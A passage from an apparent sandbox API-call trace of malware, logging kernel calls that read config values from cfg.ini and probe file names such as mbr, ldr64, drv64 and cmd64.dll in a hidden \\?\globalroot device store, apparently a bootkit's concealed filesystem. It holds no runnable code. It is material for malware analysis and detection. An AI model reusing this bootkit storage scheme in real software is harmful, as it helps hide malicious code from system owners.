FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.457] KeLeaveCriticalRegion () [0123.457] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.457] KeEnterCriticalRegion () [0123.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.457] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.457] IdePortDispatch () returned 0x103 [0123.457] KeWaitForMutexObject () returned 0x0 [0123.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.457] KeLeaveCriticalRegion () [0123.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.457] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.457] KeEnterCriticalRegion () [0123.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.457] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b0000 [0123.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.457] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.457] IdePortDispatch () returned 0x103 [0123.458] KeWaitForMutexObject () returned 0x0 [0123.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.458] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.458] IdePortDispatch () returned 0x103 [0123.458] KeWaitForMutexObject () returned 0x0 [0123.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.458] KeLeaveCriticalRegion () [0123.458] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.458] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.458] KeEnterCriticalRegion () [0123.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.459] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.459] KeLeaveCriticalRegion () [0123.459] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.459] KeEnterCriticalRegion () [0123.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.459] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.459] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.459] KeLeaveCriticalRegion () [0123.459] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.459] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.459] KeEnterCriticalRegion () [0123.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.459] ExFreePoolWithTag (P=0xfffffa8003bebcf0, Tag=0x0) [0123.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.459] KeLeaveCriticalRegion () [0123.459] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.459] ReleaseMutex (hMutex=0xf0) returned 1 [0123.459] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.459] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.459] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.459] KeEnterCriticalRegion () [0123.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.459] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.459] IdePortDispatch () returned 0x103 [0123.459] KeWaitForMutexObject () returned 0x0 [0123.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.459] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.459] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.459] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.459] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.459] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036083e0 [0123.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.459] KeLeaveCriticalRegion () [0123.460] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.460] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.460] KeEnterCriticalRegion () [0123.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.460] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.460] KeLeaveCriticalRegion () [0123.460] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.460] KeEnterCriticalRegion () [0123.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.460] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.460] IdePortDispatch () returned 0x103 [0123.460] KeWaitForMutexObject () returned 0x0 [0123.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.460] KeLeaveCriticalRegion () [0123.460] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.460] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.460] KeEnterCriticalRegion () [0123.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.460] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b1000 [0123.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.460] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.460] IdePortDispatch () returned 0x103 [0123.460] KeWaitForMutexObject () returned 0x0 [0123.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.461] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.461] IdePortDispatch () returned 0x103 [0123.461] KeWaitForMutexObject () returned 0x0 [0123.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.461] KeLeaveCriticalRegion () [0123.461] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.461] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.461] KeEnterCriticalRegion () [0123.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.461] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.461] KeLeaveCriticalRegion () [0123.461] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.461] KeEnterCriticalRegion () [0123.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.462] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.462] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.462] KeLeaveCriticalRegion () [0123.462] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.462] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.462] KeEnterCriticalRegion () [0123.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.462] ExFreePoolWithTag (P=0xfffffa80036083e0, Tag=0x0) [0123.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.462] KeLeaveCriticalRegion () [0123.462] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.462] ReleaseMutex (hMutex=0xf0) returned 1 [0123.462] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.462] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.462] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.462] KeEnterCriticalRegion () [0123.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.462] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.462] IdePortDispatch () returned 0x103 [0123.462] KeWaitForMutexObject () returned 0x0 [0123.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.462] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.462] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.462] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.462] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.462] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb2f0 [0123.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.462] KeLeaveCriticalRegion () [0123.462] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.462] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.462] KeEnterCriticalRegion () [0123.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.463] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.463] KeLeaveCriticalRegion () [0123.463] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.463] KeEnterCriticalRegion () [0123.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.463] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.463] IdePortDispatch () returned 0x103 [0123.463] KeWaitForMutexObject () returned 0x0 [0123.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.463] KeLeaveCriticalRegion () [0123.463] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.463] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.463] KeEnterCriticalRegion () [0123.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b2000 [0123.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.463] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.463] IdePortDispatch () returned 0x103 [0123.463] KeWaitForMutexObject () returned 0x0 [0123.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.463] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.464] IdePortDispatch () returned 0x103 [0123.464] KeWaitForMutexObject () returned 0x0 [0123.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.464] KeLeaveCriticalRegion () [0123.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.464] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.464] KeEnterCriticalRegion () [0123.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.464] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.464] KeLeaveCriticalRegion () [0123.464] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.464] KeEnterCriticalRegion () [0123.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.464] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.464] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.464] KeLeaveCriticalRegion () [0123.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.464] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.465] KeEnterCriticalRegion () [0123.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.465] ExFreePoolWithTag (P=0xfffffa8003beb2f0, Tag=0x0) [0123.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.465] KeLeaveCriticalRegion () [0123.465] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.465] ReleaseMutex (hMutex=0xf0) returned 1 [0123.465] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.465] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.465] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.465] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.465] KeEnterCriticalRegion () [0123.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.465] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.465] IdePortDispatch () returned 0x103 [0123.465] KeWaitForMutexObject () returned 0x0 [0123.465] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.465] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.465] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.465] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.465] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.465] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.465] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.465] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.465] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.465] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.465] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.465] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.465] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.465] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.465] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.465] KeLeaveCriticalRegion () [0123.465] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.466] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.466] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.466] KeEnterCriticalRegion () [0123.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.466] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.466] IdePortDispatch () returned 0x103 [0123.466] KeWaitForMutexObject () returned 0x0 [0123.466] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.466] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.466] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.466] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.466] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.466] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.466] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.466] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.467] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.467] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 